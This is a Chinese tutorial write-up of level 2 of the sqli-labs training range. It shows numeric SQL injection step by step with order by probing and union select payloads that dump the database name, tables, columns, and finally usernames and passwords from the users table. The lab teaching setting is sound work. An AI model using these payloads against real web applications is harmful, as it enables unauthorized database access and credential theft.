sqli-labs靶场第二关——数字型

一:查找注入类型:

输入

sql 复制代码
?id=1'--+

与第一关的差别:报错;

说明不是字符型

渐进测试:?id=1--+,结果正常,说明是数字型

二:判断列数和回显位

sql 复制代码
?id=1 order by 3--+

正常, 说明有三列,然后找回显点

sql 复制代码
?id=-1 union select 1,2,3--+

三:找数据库名

sql 复制代码
?id=-1 union select 1,database(),3--+

得到数据库名:security

四:找所有的表和列

表:

sql 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

复习拆解句子:(直接查询)

group_select:聚合函数,将多行数据合并成一个字符串,帮助我们高效提取信息

table_name:表名

information_schema.table:数据库中所有表的信息

table_schema:数据库名

列:

sql 复制代码
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

复习拆解:(嵌套查询)

1.内层又加上select的原因: 要嵌套查询,顺序如下:

表 → 子查询(group_concat)→ 作为值插入外层SELECT的列

column_name:列名

infromation_schema.columns:包含所有表的列的信息

table_schema:数据库名

table_name:表名

五:查数据!

sql 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

六:复盘总结

如何在一开始确定基于错误注入(Error-based)的注入类型(数字/字符/括号):

相关推荐
岁忧1 分钟前
LeetCode 高频 SQL 50 题(基础版)之 【聚合函数】部分
数据库·sql·leetcode
Steven_Mmm1 小时前
MongoDB选择理由
数据库·mongodb
python_tty1 小时前
mongodb删除字段
数据库·mongodb
白日依山尽yy1 小时前
spring事务的面试题 —— 事务的特性、传播机制、隔离机制、注解
java·数据库·spring
运维老曾1 小时前
MySQL半同步复制配置和参数详解
数据库·mysql
mine_wz1 小时前
ClamAV使用
数据库·oracle
好奇的菜鸟1 小时前
在 WSL Ubuntu-24.04 上安装 Nacos 2.5.1 并使用 MySQL 数据库
数据库·mysql·ubuntu
heart000_11 小时前
MySQL索引与性能优化入门:让查询提速的秘密武器【MySQL系列】
数据库·mysql·性能优化
23级二本计科2 小时前
二.MySQL库的操作
数据库·mysql
度假的小鱼2 小时前
【KWDB 创作者计划】_探秘浪潮KWDB数据库:从时间索引到前沿技术
数据库·kwdb